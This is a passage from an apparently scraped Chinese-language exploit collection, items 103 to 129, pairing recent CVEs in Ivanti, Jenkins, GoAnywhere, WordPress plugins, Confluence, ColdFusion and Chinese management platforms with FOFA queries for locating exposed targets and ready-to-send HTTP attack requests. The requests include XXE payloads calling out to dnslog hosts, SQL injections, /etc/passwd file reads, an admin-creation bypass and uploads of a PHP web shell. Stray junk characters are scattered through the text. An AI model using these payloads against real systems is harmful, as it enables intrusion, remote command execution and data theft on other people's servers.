</ds:Signature> </soap:Body></soap:Envelope>
  v( x8 n2 h! i
9 j" L7 p4 I' m7 h9 c/ v103. Ivanti Pulse Connect Secure VPN XXE
" W# k; q8 c. H; f7 [! }: D, jCVE-2024-22024
# j3 d& h1 R" j- m  aFOFA：body="welcome.cgi?p=logo"
* q' Y" c, \6 o) t+ m1 {POST /dana-na/auth/saml-sso.cgi HTTP/1.1
: [& x$ K1 r: H# i! WHost: 192.168.40.130:111
0 v! A+ k: T" _User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
' q( Y& \, E7 H+ s1 I% W+ \, GContent-Length: 204
6 g1 F8 E9 v2 t+ l8 iContent-Type: application/x-www-form-urlencoded
) T8 r& E9 P# D4 fAccept-Encoding: gzip
: ~& @2 Q4 ?6 t7 \9 a* L9 D
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
( Q. h4 H* [8 F. ~

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
& o- ^& w& Q9 Q  ~1 U4 ]( i. Z<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
6 S( Y. ~  K' N/ D" e4 b
# U' y4 |1 N1 c& e; T+ b% q5 T1 S8 |
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
8 J7 F9 X& Y1 s2 AHost:192.168.0.1
$ d, {( k6 E/ cContent-Length:41
9 d) Y6 k% }" Q& k; o6 G* CAccept:application/json,text/javascript，*/*;q=0.01
, a& a0 c) \: ~X-Requested-with: XMLHttpRequest
. i8 R* h$ c4 V) y  F) jUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
8 @, W/ l$ l  U, }' p; l. _Content-Type: application/x-www-form-urlencoded:charset=UTF-8
! E8 A4 d1 `" f7 \Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
" \8 J* w0 |# L9 l3 g) p! S/ \/ L" ~
7 u2 v7 G$ a- b{
. H! k% L2 f* b) b"topicurl":"getSysStatusCfg",
4 F8 f2 e# a' `! x8 A- p' M) y"token":""
9 b: b, G( i5 a1 v3 G' Q}
. W9 F8 N$ u# N( l
+ Q! A! m. a+ u* {; g' R105. SpringBlade v3.2.0 export-user SQL 注入
; y) S( e% n: E3 {0 vFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
: R7 C/ f7 p8 |
106. SpringBlade dict-biz/list SQL 注入
0 `/ X6 P6 P0 k5 ^4 A: t( h7 ~6 lFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
! s- t/ k. h2 y$ q% N8 h1 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
4 \, @: X/ H! J9 I& H$ @. r* {& oAccept-Language: zh-CN,zh;q=0.9
, M8 y+ H& v: @1 Z$ I* IConnection: close

) {7 e' X& h: L- t1 j0 p& n# J
107. SpringBlade tenant/list SQL 注入
. h& T. O& D8 aFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close

! \% t; i. q0 c8 _
, U- c) X  a6 x108. D-Tale 3.9.0 SSRF
  c9 I5 k' d: L8 U3 ~CVE-2024-21642
6 D1 t7 w/ b3 `7 I" {; GFOFA："dtale/static/images/favicon.png"
) K$ s4 [/ m. \: o- J7 {; J& eGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
" J$ k' K; I" t7 M; [" a" d* Y! LAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
& e) R- ^# ]& p
+ |( L  Z0 W; b5 `5 i$ w5 w
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
, G( E. R" o' IContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
) {( M: J" I  _' CConnection: keep-alive
. W% m% G% e) _  I$ K- kContent-Length: 163
8 l* M- h' p) ]- g$ [) M4 u
/ S. _% L5 b' ]  A3 z9 j; Q# Jb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
9 a9 W+ |6 t1 e% `5 I2 \Host:
5 t2 x7 Y0 C# L% D# K9 u5 V( TSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
" c! y, l6 [7 w3 K7 fdownload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
2 z9 G5 G% l% M$ _( E1 \
) M9 H5 T0 }6 ^4 X! x- |2 X5 y& p
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
3 r( k  `; i' Y) n. T& VLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

8 ]  s; l8 q1 s. U$ m
# R; S3 Z" d& _6 I  l- i110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
. r5 t) {5 H; x4 U( VFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
+ b2 Y5 C) T. L/ U3 e9 w' gUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
, A9 Q) n1 N( n/ c/ B% \Accept: */*
% J( z( X& J6 C+ ?4 f6 t6 SAccept-Language: en
Accept-Encoding: gzip

  R5 d& ^. M( c" _9 I+ t" m3 a! Z- O
111. WordPress Plugin HTML5 Video Player SQL注入
0 [; w3 x& R$ r& P* eCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
4 ]. t3 I2 N0 S3 c9 M# m% g4 eGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( b$ `& _" n' ^8 DConnection: close
Accept: */*
, V/ x# z  s5 Y  ?& KAccept-Language: en
. L% e+ R$ U: B+ ~0 W" l5 c# p6 KAccept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
- G5 h: i! Z" I# PFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
2 a8 L8 d6 }; _- p, J1 @Host: {{Hostname}}
Content-Type: application/json
/ C$ ~8 `1 B# i6 @* l
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

3 ~3 a0 }& `* ^
* R. L2 t9 n2 p8 n, Y. g113. WordPress Automatic 插件任意文件下载和SSRF
/ L6 `( n" K; ^6 M8 h$ z& I' WCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
) k8 i2 r& f  p, Q' ^+ E, eGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
, O  e, W- Z, O5 a. RConnection: close
Accept: */*
9 R' y- X% D1 l6 ZAccept-Language: en
Accept-Encoding: gzip
/ y1 u7 K) M+ J
7 Y4 }( r4 s2 m1 P$ X* F) S
# x6 v& x2 l* O" u) }! N3 w114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
- d1 @, g0 f* W# ?9 WHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 h: l7 K- ~  a  CAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

- x* e# T: U7 R- }  n$ d4 D; Q  O
) {/ \  K( O1 A" I8 @* L115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
& t+ K- e: o: b# j$ N& O& r4 zFOFA: body="/wp-content/themes/bricks/"
# @# X9 P* |% n6 D第一步，获取网站的nonce值
GET / HTTP/1.1
! U2 l2 K3 @. v7 N7 b9 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
5 ?! S7 i+ j1 M$ p' L4 R  L' G  BConnection: close
" ]7 t% A7 {) w6 SAccept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
. ?) \5 p+ J4 p/ nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 x( Q: \+ Q! [5 @. X! S6 tConnection: close
3 B7 Q; H7 f6 E& E# d8 a: QContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

{
  W$ d5 i" F4 f2 S  W3 i"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
+ j4 t: r# M# m& `    "name": "container",
3 H' g( a& C5 }4 R& S) a6 Y    "settings": {
      "hasLoop": "true",
      "query": {
7 B) B2 G) `" P/ V8 Z. l8 K        "useQueryEditor": true,
* D' w4 k# B- ^2 r        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
}

5 I: w& I2 ?- c% V# B* B
1 c9 A) ^+ S6 D0 ^* O9 s) W( L116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
, a. ]" y; D) O% p- p  L5 Y
9 c. `- f" E* Q# p2 C" }7 h+ m----------767099171
Content-Disposition: form-data; name="action"
5 [! B/ p! q4 e1 M* D( z4 Kconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
; X; f3 ^7 X% o9 D----------767099171
* u! j* Y- y! Q: v' OContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
, F/ Y! x! q4 F  ?) E1 {Content-Type: image/png
----------767099171--

/ `: H7 i9 A+ o( H5 `5 i, L
117. WordPress LayerSlider插件SQL注入
$ L- o. \* D0 |" [+ ?9 j( a3 A% Wversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
* M9 F8 {. n2 k3 W( ^4 w" ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
0 u+ _/ H, R( f5 v, ~. [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ G  f$ h  O6 ]. m% gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ s  i- I  O. J) D6 `Accept-Encoding: gzip, deflate, br
Connection: close
  p; A8 t" Z5 _2 {6 c9 U& S7 W( R3 nUpgrade-Insecure-Requests: 1

1 q5 J6 D1 }0 z
$ p# D' z. P2 Z9 ?/ @2 x% }% v( y2 _118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
3 }# D3 w& d3 C# Q  j0 A& SFOFA：title="Smart管理平台"
* {! r& ], j. W( M" e$ F9 P, g) [POST /Tool/uploadfile.php? HTTP/1.1
, L; [$ x: O. e$ ZHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
) M, A5 k9 H3 p) aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
& C, ^- `1 o3 X( uContent-Length: 405
+ q9 U6 E! q3 q3 d* U8 NOrigin: https://192.168.40.130:8443
. U- ]) \8 V+ {! ]+ g9 [1 hReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
# k0 S0 p+ `/ |, V# X0 g4 fSec-Fetch-Site: same-origin
. U6 e$ C$ w6 J" E# h5 }/ ?/ `Sec-Fetch-User: ?1
% c; w3 L# ]  J2 dTe: trailers
+ A' Y4 k1 ?& t. D* BConnection: close

; E! j, ?$ O. ~5 j% H+ w- i" I9 C-----------------------------13979701222747646634037182887
( _: r/ u, G4 a( uContent-Disposition: form-data; name="file_upload"; filename="contents.php"
* ~3 x$ C  B3 J8 ~Content-Type: application/octet-stream
* c" ^$ E' i9 T* Y* X: R& N& H
# w0 y5 v/ X8 }. u- o9 g<?php
system($_POST["passwd"]);
?>
) ]0 }. L) V' T/ G  F9 h$ J) o& \-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

4 C* s& I& c; p/home/src.php
& X2 h( b0 J7 [) I$ i7 ~-----------------------------13979701222747646634037182887--
: u; n5 j' e- d8 J- W, s
& r; }; f7 A3 @( p+ v
1 m$ m2 c$ y8 n3 J访问/home/src.php
- ?4 |& [* J+ r/ d( ?
2 a# f" Q$ F% C* @/ `; @% M, ]4 w1 `119. 北京百绰智能S20后台sysmanageajax.php sql注入
- L" i' {# \7 p( [CVE-2024-1254
& g' b- a' Q% WFOFA：title="Smart管理平台"
' [, U6 f2 _% C先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
1 n2 W6 _2 r2 D. s: tAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' x) G* E/ C' iAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
& W! C$ n. L7 x/ HOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
( ^1 [% ^6 N6 F. WSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
* n* H6 Y5 D2 `" SX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
! m6 @+ w) K% Z( D3 c0 }8 EX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
: Y' ~, Y  j) C# x1 t! j  r

120. 北京百绰智能S40管理平台导入web.php任意文件上传
/ ?1 f" F; F1 WCVE-2024-1253
FOFA：title="Smart管理平台"
- q5 G6 _% x% n" B7 zPOST /useratte/web.php? HTTP/1.1
+ z* y/ t+ T) KHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 q  y3 @- G3 y- z/ B* GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
1 H; T% u! |3 b2 ?% ?5 HOrigin: https://ip:port
1 a* a6 w2 u2 F# J8 j% eReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
6 S, K! @/ w8 {$ O( a) {: A) Z! ?Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
6 [2 l- \, p* j7 p8 E% H& KSec-Fetch-Site: same-origin
& M) ^0 O" S; t" Y- Q# OSec-Fetch-User: ?1
Te: trailers
Connection: close
; N! |: Q1 C' n% }: n1 B
! n) _6 z* Y( m7 l-----------------------------42328904123665875270630079328
/ U1 r+ m5 ]! ~% LContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

* O5 g( C" E* m5 F<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
; @$ ~2 B0 f1 w5 k
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

5 }, U* G/ ~, z# D4 {1_radhttp
* F8 n) L+ m, N0 I0 O-----------------------------42328904123665875270630079328
+ Q! P. l" w! V% K$ C2 ~Content-Disposition: form-data; name="mode"

import
7 x: X- }/ b( E. y" F-----------------------------42328904123665875270630079328
& y/ _# {% y; S; j, D  r. A" |

文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
7 `3 o0 A6 ~, m  _( TCVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
8 f$ ]' Z* ~* G- K% mUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
+ F. x. _6 ~0 [/ z4 g+ ?Sec-Fetch-Site: same-origin
: Z8 k# H4 j4 p) {Sec-Fetch-User: ?1
) B) M- I! [/ z- W! T9 ~Te: trailers
Connection: close

* c2 u3 j. {9 w* A% `, D6 s-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
, U" z) J4 C  G: t-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
5 i0 R2 b+ \- G
. u6 V+ V1 g; x0 E6 y1
-----------------------------42328904123665875270630079328
- g* i. b& H, e7 SContent-Disposition: form-data; name="1_ck"
( [$ R" q. T8 A* y' o0 S
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

5 x6 r) k$ [2 M4 K7 [+ g: dset
. i  B6 n* s: R-----------------------------42328904123665875270630079328
- `" g' n2 E2 H9 e$ r
# Q" j5 w; @' t4 [. R9 O
boot/web/upload/weblogo/1.php

, f7 ^; q  K( q. C. m+ C) b( j) }122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
( ]% w1 k* t6 ?: j  Z& l其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
. \' e' L: l9 w, p- j6 ?  qUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
2 e: W* V9 d) y, ]Sec-Fetch-Site: none
Sec-Fetch-User: ?1
1 b7 ?1 `9 D+ Y" X4 r; w8 d8 F* u3 ETe: trailers
Connection: close


  m% x. v3 p$ w+ E) b- C5 d: }123. Atlassian Confluence 模板注入代码执行
+ s, t$ |- U0 |$ _' \+ g7 nFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
$ @+ r* l/ O: _( c4 V* EPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
6 Q3 |. Q8 Q+ J+ ?$ b7 NAccept: */*
: \; k5 B  k" Z) @9 {! o% LAccept-Language: en-US;q=0.9,en;q=0.8
. p2 c) ]5 J) v5 ]1 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
7 s: f; Q$ J$ q8 I/ e$ Y6 z) ?5 PConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
: R# n5 t( b4 L$ i9 ~+ E! t6 o
- {! V# i7 v! \8 ^( ?1 K* }
% s: L7 [  x; i124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
' _. `7 F% Z; \! w; G; e9 s! YHost: 192.168.40.130:8282
( p8 k6 h  K. h3 ~+ iUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
( y; g' p3 x$ GContent-Length: 72
% m+ b8 k9 s4 s# W2 n' M4 Q: UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ r, v) X5 g8 R. N( v9 dConnection: close
5 p5 i' n, \/ m% |Content-Type: application/x-www-form-urlencoded

, t7 p. k) u% L. ?# a% ?2 P; b4 u$ E- rfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
; C! {( W. e7 K$ \$ w

! a' G5 ~+ M7 d8 S; ohttp://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
% e( Q/ V  F  S" y
  d" P$ U! U5 n. ?, T$ y7 N, d
! V' c* o' a2 L6 i使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

* E/ l" d6 r; X4 a
创建好用户后直接登录后台，可以执行系统命令。
0 ~/ J0 U; ?" t
! I8 J( r( \2 |7 J8 `6 X% o126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
; ^6 c* A. |  q2 ~' W; ]3 _- oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
: l$ D- p/ M0 oConnection: close
Accept: */*
0 R7 f5 B- J- U5 [- lAccept-Language: en
/ r/ U% R. H7 z& b( z1 ^( f" @Accept-Encoding: gzip
/ q- k7 i: n8 i1 x: y
: e0 h- ]% C1 z. \/ J
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
) R( W* U- @7 Y% sPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
! }7 U# X) J! Y+ ?6 oHost: 192.168.40.130:8888
: Q* k% \3 A& e1 Y0 C. JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
( [! w  |' L% uContent-Length: 415
0 z# q  K6 `! d% O3 u# zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; Y, }4 Y$ }, xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 H2 w6 I9 z& W1 C8 _& `Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
& D6 S; ^% s6 @, T* CPurpose: prefetch
Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
5 g, D7 @7 h, ?Content-Disposition: form-data;name="SystemName"
2 T+ o, H" v% X: l  D
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
* `+ a$ |3 M/ I2 l* }Content-Disposition: form-data;name="Params"
Content-Type: text/plain
; k# J+ f# C$ O2 z/ J
" m1 L# D  Q# l<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
6 `7 H, u, C% {  O]
& G+ }0 t, s: \$ x4 D>
<test>&t;</test>
, k4 Z* @! H& q" e6 a------WebKitFormBoundaryJGgV5l5ta05yAIe0--
0 d' l1 q3 S2 j3 f* r

4 q' X3 Y, ]5 g; e* D
7 _! e9 V9 {9 m* j7 ^5 Z128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
# k' l* @3 x' S& g1 T# bFOFA：app="Adobe-ColdFusion"
% {/ B" x6 Z. t0 \" L* gPAYLOAD

129. Adobe ColdFusion 任意文件读取
/ S1 _8 V2 [3 T+ W. U- t6 ~CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
# h  ]$ @' I; T8 m  xHost: x.x.x.x
